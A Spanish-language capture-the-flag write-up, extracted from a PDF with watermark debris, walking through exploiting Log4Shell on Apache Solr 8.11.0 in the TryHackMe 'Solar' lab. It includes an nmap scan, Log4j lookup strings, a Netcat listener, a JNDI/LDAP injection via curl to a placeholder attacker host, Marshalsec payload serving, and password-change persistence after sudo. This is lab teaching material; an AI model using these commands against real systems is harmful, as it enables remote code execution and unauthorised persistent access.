Write-Up Solar Log4j MicroJoan PDF
Write-Up Solar Log4j MicroJoan PDF
Microjoan_youtube
J Microjoan
Microjoan
¿Qué es log4j?
Primero lo que debemos hacer es escanear la máquina para ver qué puertos
tiene abiertos, para ello utilizaremos la herramienta Nmap:
M
J
M Write-UP (Solar - log4j)
J
Si nos fijamos en el puerto 8983 podremos ver que el servicio que se está
corriendo en el es el "Apache Solr":
Dado que sabemos que contiene una web (por el protocolo http en el puerto
8983) vamos a ver que es lo que nos encontramos:
http://10.10.39.140:8983
¿Qué es Solr?
M
J
M Write-UP (Solar - log4j)
J
Podemos ver que es la versión 8.11.0, la cual sabemos que corre una versión
de log4j inferior a la 2.17.0 que es la versión que ya no es vulnerable al fallo
de seguridad que vamos a explotar en esta máquina.
La siguiente pregunta, nos dice que hay un archivo de todos los que nos
hemos descargado que tiene muchas entradas "info" para ello tendremos que
ir uno a uno para ver cual de todos nos brinda mas información...
M
J
M Write-UP (Solar - log4j)
J
De todos los archivos el que mas entradas "info" tiene es "solr.log", adjunto
captura del resultado a continuación:
Al final del archivo, nos encontramos como "punto final" un directorio un tanto
curioso el cual responde a la siguiente pregunta...
Si nos dirigimos al archivo anterior y nos vamos al final del mismo, podremos
ver lo siguiente:
Podemos ver que tenemos una gran cantidad de entradas INFO con
solicitudes a "/admin/cores", por lo tanto, la respuesta correcta a la siguiente
pregunta es:
M
J
M Write-UP (Solar - log4j)
J
Por lo tanto, podemos intuir que este puede ser un vector de ataque, dado que
ya tenemos donde poder insertar código (supuestamente), pero por lo menos
se insinúa la posibilidad de poder insertar código malicioso.
Vamos a ver ahora desde el panel de Solr que es o que nos muestra el
directorio que hemos encontrado en los archivos de registro, para ello
escribiremos lo siguiente en el navegador:
http://10.10.39.140:8983/solr/admin/cores
El paquete Log4j analiza las entradas para enriquecer los datos y, como
resultado, puede evaluar el código en función de los datos introducidos.
${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}
M
J
M Write-UP (Solar - log4j)
J
Por lo general la carga que se suele utilizar para explotar esta vulnerabilidad
de Log4j es la siguiente:
¿Qué es LDAP?
Primero que nada vamos a probar a hacer una conexión desde el equipo
víctima hacia el nuestro, primero que nada vamos a utilizar la herramienta
Netcat para abrir un puerto a la escucha:
nc -vnlp 9999
M
J
M Write-UP (Solar - log4j)
J
Para ello, vamos a hacer una llamada Curl a la dirección que hemos
descubierto en el archivo de registros y que posteriormente hemos visualizado
en el navegador navegando por el panel de gestión de Solr...
¿Qué es curl?
Esta sintaxis se puede ingresar en cualquier lugar de una aplicación que use
el paquete Log4j donde la aplicación registra los datos de entrada del usuario.
Podemos crear una solicitud HTTP GET de la siguiente manera para activar
esta vulnerabilidad:
M
J
M Write-UP (Solar - log4j)
J
Es por ello por lo que este campo vacío que se guardaba en el archivo de
registro es tan problemático, porque podemos insertar código malicioso en ese
campo vacío y ejecutarlo sin mas llamando por url a la ruta exacta de esa
librería...
M
J
M Write-UP (Solar - log4j)
J
EMPEZAMOS ATAQUE
Para poder entrar dentro del equipo víctima debemos seguir los siguientes
pasos:
¿Qué es Maven?
¿Qué es Marshalsec?
M
J
M Write-UP (Solar - log4j)
J
Esto será nuestro servidor de respuesta LDAP, que redirigirá las solicitudes a
nuestro servidor HTTP secundario, que servirá la carga útil maliciosa.
Ahora lo que haremos es crear el exploit en Java que nos permitirá abrir una
shell del equipo víctima, para ello podemos copiar el código de TryHackme:
M
J
M Write-UP (Solar - log4j)
J
Una vez hecho esto, vamos a proceder a abrir un servidor http con python,
para ello haremos uso del siguiente comando:
python3 -m http.server
M
J
M Write-UP (Solar - log4j)
J
nc -lnvp 9999
Y como hemos hecho antes, volveremos a enviar por curl una petición al
equipo víctima, la cual esa petición llamará a nuestro equipo con Netcat y acto
seguido Marshalsec lo redirigirá a nuestro servidor http que solicitando
"Exploit.class":
curl 'http://TRYHACKME.IP.MACHINE:8983/solr/admin/cores?foo=$\
{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'
M
J
M Write-UP (Solar - log4j)
J
ESQUEMA VISUAL DE
FUNCIONAMIENTO
1- LLAMADA CURL AL EQUIPO VÍCTIMA
1 2
NUESTRO EQUIPO
M
J
M Write-UP (Solar - log4j)
J
Ahora lo que tenemos que hacer es crear una persistencia, para ello
cambiaremos la contraseña de Solr a "password" para poder entrar por ssh
siempre que queramos, para ello, tendremos que convertirnos en
administrador por lo que escribiremos "sudo bash" y después con "whoami"
veremos que somos root:
Ahora lo que tenemos que hace es crear una persistencia, para ello
cambiaremos la contraseña de Solr a "password" para poder entrar por ssh
siempre que queramos, para ello, tendremos que convertirnos en
administrador por lo que escribiremos "sudo bash" y después con "whoami"
veremos que somos root:
passwd solr
M
J
M Write-UP (Solar - log4j)
J
M
J